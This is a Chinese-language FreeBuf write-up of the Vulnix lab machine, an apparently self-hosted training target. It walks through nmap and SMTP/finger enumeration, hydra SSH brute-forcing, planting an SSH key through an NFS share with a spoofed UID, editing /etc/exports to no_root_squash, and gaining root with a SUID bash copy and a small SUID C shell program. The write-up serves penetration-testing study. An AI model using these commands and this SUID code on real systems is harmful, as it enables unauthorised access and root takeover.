freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

红队渗透项目之HackLAB_Vulnix
2023-01-12 11:31:03
所属地 江西省

简介

该项目是Reboot User作者精心制作的HackLAB项目系列环境,目标是获取获得root权限并找到flag.txt文本信息,该项目作为OSCP考试培训必打的一个项目环境,该作者评定该环境为渗透中级水准难度。接下来不管是零基础学习渗透者,还是有些基础的渗透者,甚至是高水平的渗透人员读该的技巧和文章都能学习到一些红队知识。

该项目有始有终会用到 信息收集 -> 端口信息枚举 ->内网挂载 -> 提权 ->  拓展小技巧,最终拿到flag.txt的过程,那么在五大模块中用到了一些小技巧都会在文章中演示出来,希望大家能动手也来和我一起学习渗透。

请注意:

本文仅用于技术讨论与研究,对于所有笔记中复现的这些终端或者服务器,都是自行搭建的环境进行渗透的。我将使用Kali Linux作为此次学习的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,本站及作者概不负责。

一、信息收集

信息收集非常重要,有了信息才能知道下一步该如何进行,接下来将用nmap来演示信息收集:

1、nmap扫描存活IP

由于本项目环境是nat模式需要项目IP地址,扫描挖掘本地的IP地址信息:

202209141345409.png

本机IP为:192.168.40.177。

发现本kali ip为40段!用40段进行全网段扫描:

nmap -sP 192.168.40.0/24

202209141345410.png

Nmap scan report for 192.168.40.188

发现项目IP地址:192.168.40.188。

2、nmap端口服务枚举

进行namp端口服务枚举:

nmap  192.168.40.188

202209141345411.png

得到开放的端口信息:

22/tcp   open  ssh      --暴力破解
25/tcp   open  smtp     --信息枚举用户
79/tcp   open  finger   --信息枚举
110/tcp  open  pop3   
111/tcp  open  rpcbind   --信息枚举
143/tcp  open  imap
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
993/tcp  open  imaps
995/tcp  open  pop3s
2049/tcp open  nfs       --挂载

由上可知,ssh可以进行暴力破解,25(smtp)可以信息枚举用户、79(finger)是共享文件,也可以信息枚举,111(rpcbind)进行信息枚举, nfs是挂载服务

没有开启80端口,都是邮件、nfs挂在服务!先进行信息枚举!

二、端口信息枚举

1、SMTP信息枚举

SMTP是安全测试中比较常见的服务类型,其不安全的配置(未禁用某些命令)会导致用户枚举的问题,这主要是通过SMTP命令进行的。

参考:https://blog.csdn.net/weixin_30588907/article/details/94955805

1)安装smtp-user-enum枚举工具

apt install smtp-user-enum

202209141345412.png

安装完成!

2)利用smtp-user-enum枚举工具:

smtp-user-enum是使用Perl编写的工具,其原理就是通过命令枚举用户账户!

locate unix_use     #查看unix_users.txt目录
smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 192.168.40.188
-M    ---用于猜测用户名 EXPN、VRFY 或 RCPT 的方法(默认值:VRFY)
-U    ---通过 smtp 服务检查的用户名文件
-t     ---host 服务器主机运行 smtp 服务

202209141345413.png

找到以上用户信息可利用。

将以上用户信息放入user文本中,等会利用

gedit user.txt

202209141345414.png

2、finger信息枚举

finger命令用于查找并显示用户信息。包括本地与远端主机的用户皆可,帐号名称没有大小写的差别。

枚举root用户信息:

finger root@192.168.40.188

202209141345415.png

枚举user用户信息:

finger user@192.168.40.188

202209141345416.png

看到两个用户都是有效的,用户user具有dovenull 的登录名和名为Dovecot的名称,Dovecot是一个开源电子邮件服务器。

3、Finger-User-Enumeration工具利用

用户很多可以利用Finger-User-Enumeration工具,可以循环快速查看

下载地址:

git clone https://github.com/Kan1shka9/Finger-User-Enumeration.git

配置.sh文件,将IP改为项目IP:

gedit finger_enum_user.sh

202209141345417.png

运行工具扫描下用户文本:

./finger_enum_user.sh user.txt

202209141345418.png

202209141345419.png

202209141345420.png

202209141345421.png

发现很多挂载目录,其中user用户是有问题的,接下来看下NFS信息情况!

4、NFS信息枚举

NFS权限工作原理:

NFS 通常与 Kerberos 配对以实现强大的身份验证机制,因为 NFS 本身仅根据用户的 UID/GID 对用户进行身份验证;这比适当的身份验证系统(如 kerberos)是非常不安全的。

一旦NFS文件系统被远程主机以读/写权限成功挂载,每个共享文件的唯一保护就是它的权限。此权限绑定到用户的用户 ID。如果共享相同用户ID的两个用户挂载相同的 NFS 文件系统,可以修改彼此的文件。这是NFS的一项功能,UID/GUID或用户名/组名用于识别和验证客户端;鉴于服务器没有Kerberos设置,因此只需找到经过身份验证以使用NFS的用户的UID和GUID(很可能是名为vulnix 的用户),并创建具有相同UID和GUID的用户。

但是没有目标中任何用户的UID或GID。这意味着目前无法访问 NFS 共享,即使挂载了该共享。

将在端口2049上进行NFS枚举!

找出项目挂载的目录:

showmount -e 192.168.40.188

202209141345422.png

看到挂载在vulnix目录里

接下来可以到vulnix安装文件夹进行共享,将远程共享文件装在本地kali上。

在kali上创建挂载vulnix目录

cd /tmp     --tmp是存放共享数据的,所以放置tmp下
mkdir nfs   ---创建个挂载目录nfs
mount -t nfs 192.168.40.188:/home/vulnix /tmp/nfs   ---挂载vulnix目录
cd nfs

202209141345423.png

发现 cd权限不够!

查看是否挂载成功

df

202209141345424.png

成功挂载至tmp/nfs下!

可以看出其实共享已经实现,估计设置了root_squash标志,只是不允许我们去访问,只允许指定的vulnix用户去访问

所以目前只允许vulnix用户登陆,并且得具有与目标上相同的id和gid!

5、ssh爆破

利用hydra爆破ssh账户密码:

hydra -l user -P /usr/share/wordlists/rockyou.txt 192.168.40.188 ssh -t 4

202209141345425.png

发现ssh登录账户密码:

[22][ssh] host: 192.168.253.167   login: user   password: letmein
账号:user
密码:letmein

三、内网挂载

1、ssh登录

运用账户密码登录ssh:

ssh user@192.168.40.188
letmein

202209141345426.png

成功登录user用户!

找下挂载服务用户权限:

cat /etc/passwd

202209141345427.png

登录发现vulnix权限为2008!

继续延伸挂载,先看下本地有无该账户

cat /ect/passwd| grep vulnix

202209141345428.png

本地没有vulnix用户,需要创建

2、创建vulnix用户

在本地kali加上这个账户权限:

cd /tmp
useradd -u 2008 vulnix
su vulnix
cd /tmp/nfs
ls -la

202209141345429.png

202209141345430.png

可以访问了,接下来直接ssh-keygen生成key进行!

3、ssh密匙技巧

本地获取ssh密匙:

ssh-keygen       ---全部回车
cd /root/.ssh    ---到ssh目录下
cat id_rsa.pub   ---查看下公钥里面的值,并复制

202209141345431.png

获得密匙信息:

'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHDbZN/OOhQqi7OmkDp43vaeByAvfPhonACl8/BB84bFcFCtjIzifMZzOBKMGtvK6RMF2APluWgj5Btn349hReJxfygt/6zi45oM0y6cicb++CnweifPrB7CmPXz8KCnS7IKC8wOHSO0GpoQp/BzvkXZ0f/8VJGpq1EuDT4m8W6vg5D5ABFIM4vHmUA6C04xuvzVFfyelcSqbcDa3F91UxY+xKQMOuTFEtl2TOBeCs5zza1ZlOB1xp121+NhSzbXHgj1yiMTJngJba1rDZJFWe1Qdy20J7zLKuF/f5oplxyGPqSGmqtdYL7S8TkY67k/w92M2cRN4qe877uWU+J59aZ23COPbE7nCspmmUE/rdvwQoNLRvAPhES/fqrhID1me77Nm1u72AwWM7MKKylorrWCtYan4qFF7GEw8JQKBxk7wi7gRAJE9l821kYEgHOEhEarOko6zDoCk/fLIf2xq+aYN13qR02USNkEWaEhqvwE2A65D/C5wcTfWwQ6As2NU= root@kali'

在vulnix的nfs目录下创建:

cd /tmp/nfs
mkdir .ssh       #创建ssh文件,与本地同步目录地址
cd .ssh  
进去后复制密匙写入挂载处输出至authorized_keys文件:
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHDbZN/OOhQqi7OmkDp43vaeByAvfPhonACl8/BB84bFcFCtjIzifMZzOBKMGtvK6RMF2APluWgj5Btn349hReJxfygt/6zi45oM0y6cicb++CnweifPrB7CmPXz8KCnS7IKC8wOHSO0GpoQp/BzvkXZ0f/8VJGpq1EuDT4m8W6vg5D5ABFIM4vHmUA6C04xuvzVFfyelcSqbcDa3F91UxY+xKQMOuTFEtl2TOBeCs5zza1ZlOB1xp121+NhSzbXHgj1yiMTJngJba1rDZJFWe1Qdy20J7zLKuF/f5oplxyGPqSGmqtdYL7S8TkY67k/w92M2cRN4qe877uWU+J59aZ23COPbE7nCspmmUE/rdvwQoNLRvAPhES/fqrhID1me77Nm1u72AwWM7MKKylorrWCtYan4qFF7GEw8JQKBxk7wi7gRAJE9l821kYEgHOEhEarOko6zDoCk/fLIf2xq+aYN13qR02USNkEWaEhqvwE2A65D/C5wcTfWwQ6As2NU= root@kali' > authorized_keys

202209141345432.png

查询下密匙是否成功写入:

ls -la   
cat authorized_keys   --查看密匙是否一致

202209141345433.png

本地赋权登录,登录vulnix:

chmod 400 id_rsa
ssh vulnix@192.168.40.188

202209141345434.png

成功登录!

四、提权

方法一:sudo提权

1、查看下sudo条件:

sudo -l

202209141345435.png

看到sudo提权,可以以root用户身份执行sudoedit /etc/exports,它是nfs挂载的配置文件,那就配置/etc/exports该文件,关闭其安全功能!

root_squash: 客户端的root用户映射到任何人:客户端无法使用setuid位将恶意软件留给他人执行。

no_root_squash:通过此选项,停用了此安全功能,从而允许客户端的root权限操作最终以root身份出现在导出的文件系统中。

2、查看/etc/exports文件

cat /etc/exports

202209141345436.png

/home/vulnix *(rw,root_squash),给的是写读的权限,并开启了安全机制,将安全机制关闭

3、配置/etc/exports文件,允许root权限使用

sudoedit /etc/exports  ---root权限编辑 
no_root_squash
Ctrl x y  保存退出

202209141345437.png

4、查看是否配置成功

cat /etc/exports

202209141345438.png

通过用no_root_squash替换root_squash来实现!

注意危害:

如果no_root_squash使用,远程 root 用户可以更改共享文件系统上的任何文件,并留下被木马感染的应用程序,让其他用户无意中执行。

5、然后重启项目靶机,让机制生效!

回到kali重新挂载:

df   #查看挂载情况

202209141345439.png

挂载还在,需要删除,重新挂载。

修改好后down掉挂载:

umount /tmp/nfs   ---全部挂载删除

202209141345440.png

记得退出vulnix用户,否则会报错

重新挂载:

mount -t nfs 192.168.40.188:/home/vulnix /tmp/nfs  ---重新在挂在到nfs新目录下
df

202209141345441.png

挂载成功

登录vulnix查看版本

ssh vulnix@192.168.40.188
uname -a

202209141345442.png

因为kali是64位系统,而vulnix是32位系统,64位不能兼容32位系统文件,所以在vulnix产生32位文件,在到kali执行操作

但发现有权限进入nfs目录下了,因为关闭了安全机制

ls
cd nfs

202209141345443.png

那么就有权限使用挂载功能,能同步创建文件

尝试在本地kali创建1文件,项目用户同步了该文件

mkdir 1
ls

202209141345444.png

那么我们就可以运用逆向思维,先在

1)在vulnix执行

利用nfs写入bash到靶机

cp /bin/bash .
ls

202209141345445.png

生成了32位的文件

2)在kali执行

将bash输入至test文件,并赋权执行

cat bash > test
chmod 4777 test
ls -la

202209141345446.png

因为test是kali root权限下生成的文件夹,所以有权限执行

可以看到本地计算机的/bin/bash复制到/tmp/nfs并赋权

在vulnix执行test文件

./test -p   
id

202209141345447.png

成功获得root权限!

-p  ---打开特权模式。在此模式下,不处理ENV和BASH_ENV文件,不从环境继承shell函数,并且如果 SHELLOPTS、BASHOPTS、CDPATH和GLOBIGNORE变量出现在环境中,它们将被忽略,如果shell不等于真实用户(组)id的有效用户(组)id就会启动,并且没有提供-p选项则执行这些操作并将有效用户id设置为真实用户ID。如果在启动时提供了-p选项,则不会重置有效的用户ID。关闭此选项会导致有效用户和组ID设置为真实用户和组ID。

6、获得flag

cd /root
ls
cat trophy.txt

202209141345448.png

获得flag:cc614640424f5bd60ce5d5264899c3be

方法二:挂载root,直接写入ssh-key登录ssh root

修改/etc/exports配置为/root:

sudoedit /etc/exports    --这个地方修改为/root

202209141345449.png

然后保存重启环境!

看下root目录是否配置成功

showmount -e 192.168.40.188

202209141345450.png

成功!

然后进入root目录就行!

在kali挂载root目录下,获得flag:

mkdir nfs1
mount -t nfs 192.168.40.188:/root /tmp/nfs1
cd nfs1
cat trophy.txt

202209141345451.png

202209141345452.png

202209141345453.png

五、拓展小技巧

1、smtp群体枚举

1)MSF枚举

msfconsole
search smtp 
use auxiliary/scanner/smtp/smtp_enum

202209141345454.png

202209141345455.png

配置IP并执行:

set rhosts 192.168.40.188
run

202209141345456.png

获得用户信息:

backup, bin, daemon, games, gnats, irc, landscape, libuuid, list, lp, mail, man, messagebus, news, nobody, postfix, postmaster, proxy, sshd, sync, sys, syslog, user, uucp, whoopsie, www-data

速度就是比Finger-User-Enumeration工具慢些

2、rpcinfo信息枚举

利用服务rpcbind枚举信息

rpcinfo -p 192.168.40.188

202209141345457.png

可以看到开启了很多服务!

3、写shell技巧:C

在32位kali操作,重复之前的挂载操作

showmount -e 192.168.40.188
mkdir test
mount -t nfs 192.168.40.188:/home/vulnix /tmp/test
df

202209141345458.png

useradd -u 2008 vulnix -g vulnix
su vulnix

202209141345459.png

ssh-keygen
cd /root/.ssh 
cat id_rsa.pub
chmod 400 id_rsa

202209141345461.png

202209141345462.png

因两个32位环境不兼容

写通用的shell.c,nano写入shell.c文件

ssh vulnix@192.168.40.188
nano shell.c      Ctrl+x y保存退出

202209141345463.png

写入:

#include <stdlib.h>
int main() { setuid(0); setgid(0); system("/bin/sh"); }

202209141345464.png

编译shell.c文件

gcc shell.c -o shell
chmod 4777 shell

202209141345465.png

在vulnix执行:

./shell
id

202209141345466.png

获得root权限

六、总结

通过以上的学习,我们认知了一些红队的小技巧的技术手段,完成了从信息收集到内核提权项目落地,学习到了非常多的技巧,例如 nmap信息枚举、STMP信息枚举、finger信息枚举、NFS信息枚举、ssh爆破、ssh密匙、挂载root、sudo提权、rpcinfo信息枚举、写入shell.c技巧等,希望伙伴们能实际操作复现一遍!来巩固自身的渗透技术和技巧!

希望大家提高安全意识,没有网络安全就没有国家安全!

作者:十七

知识点总结:

1)通过telnet连接收集用户名敏感信息

2)finger查看用户登录信息

3)使用rpcinfo进行RPC枚举

4)使用showmount进行NFS枚举

5)hydra爆破ssh密码

6)ssh-key毒化攻击getshell

7)特定linux UID权限用户登录挂载的NFS分区

8)使用ssh私匙登录ssh

9)用no_root_squash替换root_squash以停用安全功能,从而允许客户端的root权限操作最终使文件以root身份出现在导出的文件系统中(在其余客户端中)

10)客户端本地以root身份运行cat命令拷贝shell文件,并chmod 4777赋予权限,最后执行shell文件加上-p参数提权

# 漏洞 # 渗透测试 # web安全 # 系统安全 # 漏洞分析
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录